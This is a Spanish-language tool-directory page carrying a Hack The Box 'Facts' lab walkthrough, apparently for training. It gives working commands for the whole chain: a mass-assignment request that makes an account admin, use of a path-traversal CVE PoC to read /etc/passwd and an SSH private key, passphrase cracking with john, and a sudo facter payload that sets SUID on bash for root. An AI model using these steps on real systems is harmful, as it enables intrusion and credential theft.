Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
HackTheBox-Facts — HTB Facts es una máquina Linux fácil que presenta Camaleon CMS y MinIO. Obtén acceso de administrador mediante registro abierto y una vulnerabilidad de asignación masiva, luego extrae credenciales de MinIO desde la configuración de administrador. Usa el path traversal CVE-2024-46987 para robar una clave privada SSH, descifrar su frase de contraseña y escalar a root abusando de los permisos sudo en facter mediante GTFOBins. | Kitploit
Herramientas/GitHubGitHub/suriyaboon/hackthebox-facts
Escalada de PrivilegiosReconocimientoAtaques de ContraseñasAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónSeguridad en la Nube

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

HTB Facts es una máquina Linux fácil que presenta Camaleon CMS y MinIO. Obtén acceso de administrador mediante registro abierto y una vulnerabilidad de asignación masiva, luego extrae credenciales de MinIO desde la configuración de administrador. Usa el path traversal CVE-2024-46987 para robar una clave privada SSH, descifrar su frase de contraseña y escalar a root abusando de los permisos sudo en facter mediante GTFOBins.

Aprendizaje y Educación
GitHubsuriyaboon/hackthebox-facts

HackTheBox-Facts

Ver Repositorio
2hace 3 mesesAún no revisado
Compartir

HTB Facts — Guía completa

Dificultad: Media
SO: Linux
Etiquetas: Web, MinIO, Camaleon CMS, Path Traversal, SSTI, Escalada de Privilegios


Tabla de Contenidos

  1. Reconocimiento
  2. Enumeración Web — Puerto 80
  3. Descubrimiento de MinIO — Puerto 54321
  4. Camaleon CMS — Acceso de Administrador
  5. Escalada de Privilegios a Rol de Administrador
  6. Descubrimiento de Credenciales de MinIO
  7. Lectura Arbitraria de Archivos — CVE-2024-46987
  8. Acceso SSH como trivia
  9. Escalada de Privilegios a Root
  10. Banderas

Reconocimiento

Comience con un escaneo completo de puertos TCP para identificar servicios abiertos.

root@kitploit:~
nmap -p- --min-rate 5000 -T4 10.129.244.96

Resultados:

PuertoServicioNotas
22SSHOpenSSH
80HTTPNginx 1.26.3 (Ubuntu)
54321DesconocidoIdentificado como MinIO

Añada el objetivo a /etc/hosts:

root@kitploit:~
echo "10.129.244.96 facts.htb" >> /etc/hosts

Enumeración Web — Puerto 80

Navegar a http://facts.htb revela un sitio web de trivia construido sobre Camaleon CMS (Ruby on Rails). Indicadores clave:

  • Nombre de cookie: _factsapp_session (sesión de Rails)
  • Rutas de assets: /assets/themes/camaleon_first/
  • Token CSRF en etiquetas meta
  • Servidor: nginx/1.26.3 (Ubuntu)

Enumere el mapa del sitio para todas las páginas disponibles:

root@kitploit:~
curl -s http://facts.htb/sitemap.xml

Rutas notables descubiertas:

  • /admin → redirige a /admin/login
  • /rss
  • Varias páginas de trivia: /animal-ejected, /anne-frank, etc.

Verifique el panel de inicio de sesión de administrador:

root@kitploit:~
curl -v http://facts.htb/admin
# → 302 redirige a /admin/login

Descubrimiento de MinIO — Puerto 54321

Al sondear el puerto desconocido con curl se revela MinIO, un servicio de almacenamiento de objetos compatible con S3:

root@kitploit:~
curl -v http://facts.htb:54321

Respuesta:

root@kitploit:~
<Error>
  <Code>AccessDenied</Code>
  <Message>Access Denied.</Message>
</Error>

Las cabeceras confirman: Server: MinIO

Enumere posibles nombres de buckets (todos devuelven 403, confirmando que existen):

root@kitploit:~
for bucket in facts backup uploads media files images data private secret admin internal; do
  code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
  echo "$bucket: $code"
done

Todos devuelven 403 Forbidden — los buckets existen pero requieren credenciales.


Camaleon CMS — Acceso de Administrador

Identificando el CMS

A partir de las rutas de assets y la cookie de sesión, el CMS se identifica como Camaleon CMS.

Verifique vulnerabilidades conocidas:

root@kitploit:~
searchsploit camaleon

Resultados:

root@kitploit:~
Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI)   | ruby/webapps/51489.txt

La versión del panel de administración se confirma como 2.9.0 (visible en el pie de página después de iniciar sesión).

Creando una Cuenta

La página de inicio de sesión de administrador en http://facts.htb/admin/login incluye un enlace "Crear una cuenta". Registre una nueva cuenta:

  • Navegue a http://facts.htb/admin/users/sign_up
  • Complete credenciales válidas (p. ej., test123 / test123)
  • Envíe — esto crea una cuenta con rol Client

Después del registro, inicie sesión en el panel de administración. La cuenta tiene privilegios limitados de Client.


Escalada de Privilegios a Rol de Administrador

Vulnerabilidad de Asignación Masiva

Camaleon CMS es vulnerable a un ataque de asignación masiva en el endpoint de cambio de contraseña. Al interceptar la solicitud de cambio de contraseña e inyectar un parámetro password[role], un atacante puede escalar su propio rol a admin.

Pasos usando Burp Suite:

  1. Inicie sesión en el panel de administración con la cuenta Client.
  2. Navegue a Profile → Edit → Change Password.
  3. Ingrese cualquier nueva contraseña y haga clic en Process.
  4. Intercepte la solicitud POST en Burp Suite.
  5. Agregue &password[role]=admin al cuerpo de la solicitud:
root@kitploit:~
_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
  1. Reenvíe la solicitud — la respuesta debería ser 200 OK.
  2. Inicie sesión nuevamente con las credenciales actualizadas.

La cuenta ahora tiene privilegios de admin, otorgando acceso completo al panel de administración del CMS incluyendo Settings, Media y Filesystem Settings.


Descubrimiento de Credenciales de MinIO

Con acceso de administrador, navegue a:

root@kitploit:~
Settings → General Site → Filesystem Settings

La página revela credenciales hardcodeadas de MinIO (compatibles con AWS S3):

root@kitploit:~
AWS S3 Access Key:    AKIA59D605615FFC8875
AWS S3 Secret Key:    O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name:   randomfacts
AWS S3 Region:        us-east-1
AWS S3 Endpoint:      http://localhost:54321

Configure AWS CLI y enumere los buckets:

root@kitploit:~
export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'

aws s3 ls --endpoint-url http://facts.htb:54321

Buckets descubiertos:

root@kitploit:~
2025-09-11  internal
2025-09-11  randomfacts

El bucket internal contiene el directorio home del usuario trivia:

root@kitploit:~
aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321

# Descargar la clave privada SSH
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321

Lectura Arbitraria de Archivos — CVE-2024-46987

Alternativamente, la clave privada SSH se puede recuperar mediante CVE-2024-46987, una vulnerabilidad de path traversal autenticada en Camaleon CMS que permite leer archivos arbitrarios del servidor.

Clone el PoC público:

root@kitploit:~
git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987

Lea archivos sensibles:

root@kitploit:~
# Paso 1: Leer /etc/passwd para enumerar usuarios del sistema
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd

Salida (líneas relevantes):

root@kitploit:~
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash

Se identifican dos usuarios: trivia y william. Dado que trivia tiene un shell de inicio de sesión y un directorio home, verifique la existencia de una clave privada SSH:

root@kitploit:~
# Paso 2: Leer la clave privada SSH de trivia
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519

Guarde la salida de la clave en un archivo:

root@kitploit:~
chmod 600 id_ed25519

Acceso SSH como trivia

Descifrando la Frase de Contraseña de la Clave SSH

La clave privada SSH está cifrada con una frase de contraseña. Use ssh2john y john para descifrarla:

root@kitploit:~
ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt

Frase de contraseña descifrada: dragonballz

Inicio de Sesión vía SSH

root@kitploit:~
ssh -i id_ed25519 [email protected]
# Ingrese la frase de contraseña: dragonballz

Recupere la flag de usuario:

root@kitploit:~
cat /home/william/user.txt

Escalada de Privilegios a Root

Permisos Sudo

Verifique los privilegios sudo para el usuario trivia:

root@kitploit:~
sudo -l

Salida:

root@kitploit:~
User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

El usuario puede ejecutar /usr/bin/facter como root sin contraseña. facter es una herramienta de información del sistema basada en Ruby.

GTFOBins — facter

Según GTFOBins, facter puede cargar archivos de facts personalizados de Ruby mediante --custom-dir, los cuales se ejecutan como el usuario que invoca (root en este caso).

Exploit:

root@kitploit:~
# Crear directorio de exploit y payload Ruby
mkdir -p /tmp/exploit_facts
cat > /tmp/exploit_facts/evil.rb << 'EOF'
system("chmod +s /bin/bash")
EOF

# Ejecutar facter como root con el directorio personalizado
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts/ x

# Verificar que el bit SUID esté establecido en bash
ls -la /bin/bash
# -rwsr-sr-x 1 root root ...

# Generar un shell root
/bin/bash -p

Recuperar la Flag de Root

root@kitploit:~
whoami
# root

cat /root/root.txt

Banderas

BanderaUbicación
user.txt/home/william/user.txt
root.txt/root/root.txt

Resumen de la Cadena de Ataque

root@kitploit:~
Escaneo Nmap
    ↓
Puerto 80: Camaleon CMS 2.9.0
    ↓
Registrar cuenta Client → Panel de Admin
    ↓
Asignación masiva: password[role]=admin → Rol Admin
    ↓
Configuración Admin → Credenciales MinIO Expuestas
    ↓
CVE-2024-46987: Path Traversal → Leer /home/trivia/.ssh/id_ed25519
    ↓
ssh2john + John → Frase de contraseña: dragonballz
    ↓
Inicio de sesión SSH como trivia
    ↓
sudo facter --custom-dir (GTFOBins) → chmod +s /bin/bash
    ↓
/bin/bash -p → root

CVEs y Referencias

CVEDescripción
CVE-2024-46987Camaleon CMS path traversal autenticado / lectura arbitraria de archivos
CVE-2023-30145Camaleon CMS v2.7.0 SSTI a través del parámetro formats (no usado en esta máquina)
  • GTFOBins — facter
  • CVE-2024-46987 PoC
  • Camaleon CMS GitHub
Descargar herramienta